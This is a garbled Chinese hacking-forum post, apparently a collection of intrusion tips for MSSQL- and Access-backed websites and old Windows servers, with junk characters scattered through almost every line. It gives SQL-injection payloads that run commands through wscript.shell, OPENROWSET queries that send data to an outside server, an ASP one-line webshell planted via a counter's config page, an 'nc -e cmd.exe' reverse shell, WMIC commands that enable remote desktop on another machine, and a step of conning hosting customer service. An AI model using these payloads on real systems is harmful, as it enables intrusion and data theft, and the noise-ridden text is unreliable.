SA点数据库分离技术相关
/ b+ G+ `( ^. {7 m, x. _' s7 S, Q q! n6 ?& x
. s! f; _ l& m [& a4 \6 c) u+ KSA点数据库分离搞法+语句:9 |) W3 a h3 b! l2 B4 @6 G
( q4 f( O4 B/ X2 `) g# M注射点不显错,执行下面三条语句页面都返回正常。
9 S8 P& |3 U) A; R7 G1 n9 dand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')/ p) }3 k% l7 w- V
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
; j# A# a/ f7 {and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')+ a$ J" H3 g: j) y' Y9 T
可以列目录，判断系统为2000，web与数据库分离
/ L w1 l1 H1 J0 }( B遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。+ Y4 _3 m2 ~, }% p7 l
在注射点上执行" l0 F9 u7 c5 e" O) {/ H
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--3 w+ l7 W% D( g# c' Q
页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP
1 J5 }5 ]) r6 @$ v5 Y" ]. O还有我用NC监听得其他端口都没有得到IP。: q/ U; d. n9 u, _3 V9 \7 R$ s
3 ^$ l& y% {, ^3 `# g. Q G: X通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。
8 ` b! A; x7 v+ r+ h'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--; F- K$ ?/ x! Y' p6 b: M3 w
" ]3 h6 M0 ~1 m4 h; r/ K;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
$ s" X5 U* B. Q. _* }% @' Q: n
现在就猜想是不是数据库是内网而且不能连外网。" x( @, L5 B: U( b+ ^8 n$ }; J! E
2 l1 H W0 I6 ]. ^& O3 d. `/ g
1 m6 A: M+ f. g Faccess导出txt文本代码+ M5 N4 p6 M! v( ~
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
. G6 x- ~9 z/ V0 f' E0 N9 l( ]
% k' z9 w, r8 T
* x" K2 r7 h @7 D5 Q- ^
; j4 E0 R; R! O+ ?9 B; E# ]自动跳转到指定网站代码头- R c5 k: C' z% Q5 @
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
1 @0 P K& M' s5 u
( G; j, O- ?) ^8 H% j( Q3 ?
( U& o" I4 v1 k3 O2 d- t入侵java or jsp站点时默认配置文件路径:
* f, H6 ?$ v7 q3 h0 v+ N\web-inf\web.xml5 g4 U9 k; `- D0 P: I: U' A% R& e
tomcat下的配置文件位置:
- g& P# u4 T5 d; K\conf\server.xml (前面加上tomcat路径)
" v0 @) V9 \: |) N, ~\Tomcat 5.0\webapps\root\web-inf\struts-config.xml3 f2 N" p5 u' m7 |* p- n' I
: d t, A6 [7 c9 C3 K2 U8 P8 |- b
5 `& i- k$ U& E$ C }2 y5 \
/ J+ L- [- B7 ]2 t4 ^
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
5 T# |( r% t8 L/ J5 K+ Y-1%23" G/ [/ n7 P4 g2 X
> 6 m$ x: v& `9 V, p8 l
<
: Y( v; C/ h) d1'+or+'1'='10 i+ i: A6 \1 n' ^1 a Z. H% H. r
id=8%bf' z; X# @ t; f6 [/ U* @
0 a% d7 t( A9 {! \* \% w全新注入点检测试法:
+ \7 b+ C2 Z* X: P" O在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
/ O! y4 ~) i+ m( N( V+ H8 L, ?, C1 _) K: I$ t/ a" a$ q3 d) \4 s
在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。
& A0 G; }& M, Z& E0 K4 a% F2 M& d( ]2 q" i$ \% b
搜索型注入判断方法:+ c4 L0 ?4 ~- C$ N! l
北京%' and '1'='1' and '%'='
* }; r z p/ _8 o北京%' and '1'='2' and '%'='. O- ^; w) f: l1 E
, W% A9 z& L2 e' z$ j6 }
3 {5 u/ m8 t% U/ r2 l7 XCOOKIES注入:1 l# k6 y7 A0 w' H8 ~0 A/ p w
. F- r9 B7 G% G. _javascript:alert(document.cookie="id="+escape("51 and 1=1"));
- t+ z7 ]' M) [) \/ u0 Q p) I
% a* Y7 } w6 L2 }6 e- \2000专业版查看本地登录用户命令:) I$ b7 G; d( v( u$ p# M) M
net config workstation: M* ]- y. s' d7 U
" G3 ~; K# ?' U9 ?9 X
& n3 P6 @( S" l3 |( r5 m5 N& l2003下查看ipsec配置和默认防火墙配置命令:! h$ j9 D6 T8 w. _
netsh firewall show config; Q2 e/ s: o4 U4 D) h
netsh ipsec static show all
- p2 ^0 L7 N/ j9 a, k( P; F' R
% `2 ]% T! r3 X4 n: p不指派指定策略命令:
2 L7 j, u* c# D7 G, r: B3 Rnetsh ipsec static set policy name=test assign=n (test是不指派的策略名)
+ K- t5 s4 ?* E% ?netsh ipsec static show policy all 显示策略名
0 k4 K; e1 J5 Q& R- w8 M+ B! c# e. G5 R+ T" `
1 F$ J* `9 S1 w9 B5 a! ^( I* ]猜管理员后台小技巧:
; F. ^& R6 e" L5 }& o) I/ C0 _& cadmin/left.asp
9 v" X. ~% W3 r& Jadmin/main.asp
2 Q$ i) |+ @, l% K. h2 I: aadmin/top.asp
* G1 E! u0 ?- Z; Sadmin/admin.asp $ ~ H" q {8 V2 ]: i
会现出菜单导航,然后迅雷下载全部链接6 D4 ^+ K- s" |0 I; T% l
; c" @9 s) m7 S0 `+ U( d
3 G" ~0 t5 d% P, ]) p2 N社会工程学:
: G; {. X& g6 F用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人$ i& i+ I1 r* M! F ^7 \/ }1 ?' ]
然后去骗客服
+ P3 s$ [" Z( b! ]& C# R1 ?) O' Q5 h3 A
8 e( ?6 c: j8 i: D! T统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
8 {# Q3 U, W6 y% e1 M9 C; {: c查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">，
, O0 r/ C3 k# N/ Y+ d: u: [: h 存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。
7 H: V! b T. ^$ y, U- Q1 }: u( i6 {9 s! p
5 C5 D! j6 W+ p1 C/ W( Y
; i$ m" z3 {# S6 r1 a! z0 J6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）2 P' p* P& H- \% K5 ~
- n; m, z( U p0 t i2 ~
) x% D1 R8 U4 w. `/ W0 b8 n8 h/ F9 k5 L
CMD加密注册表位置8 n/ h. q0 K) _* b
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
3 L1 w8 z, s8 ? M( ]+ Q6 AAutoRun# L: P/ M. ~/ I& B# n
# p O @. f9 @) c) a
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor4 i( J2 S }2 N0 v9 @1 o L
AutoRun
4 W+ A, p& {; F7 B$ Y L$ w, j4 n" ^. W( M- F6 O }
0 [1 K& P4 G# r( u+ ]
在找注入时搜索Hidden,把他改成test
% C% Q/ u5 X9 o- t5 }2 S2 D& H$ f9 R
% \4 p' K/ z# n; c W
' e) ^8 t3 Z r1 v9 l3 G
0 F; u; t4 {+ vmstsc /v:IP /console * V) F3 n- z3 W0 o1 o! |
' H, [; q# ^) |: }/ q0 m, l. b' A
0 ~2 A; q6 r9 n- c! F一句话开3389: z# l# s2 Y$ y7 x& a
% H* \0 E3 ]4 b- f9 Q1 t! x
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH> 9 h$ Y {) j" l% g( b4 V) j0 [
开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
* M& D# n' O& r1 p% _/ G# x$ H9 _6 F1 g% D3 \3 k* T
0 F% {+ \# R$ P: I, k6 `1 |知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:- H+ c2 s ~8 B; u5 Z3 A2 U
Insert into admin(user,pwd) values('test','test')
& \8 t4 a4 H7 m) F9 w9 X+ X# r l R6 \! q/ y2 J" J9 C
! f/ U; L+ a) b& I$ g; O
NC反弹# r: ~) A- R' B
先在本机执行： nc -vv -lp 监听的端口 (自己执行)
% q6 p% l) V- E; _: m然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
5 Y% U) n& b$ g( Q6 O8 B* V
6 t, B) D0 ?$ p- \/ F2 d$ I( S7 |
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
+ \) J, Z; z1 v" y: i# u# W& J- I4 ]' O* H4 u I- O
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录' N; d* I0 |# j+ b
例如:
1 p* i! t( V+ [" g. u: g& Xsubst k: d:\www\ 用d盘www目录替代k盘
3 B0 U2 B, B4 L9 }' k2 Isubst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对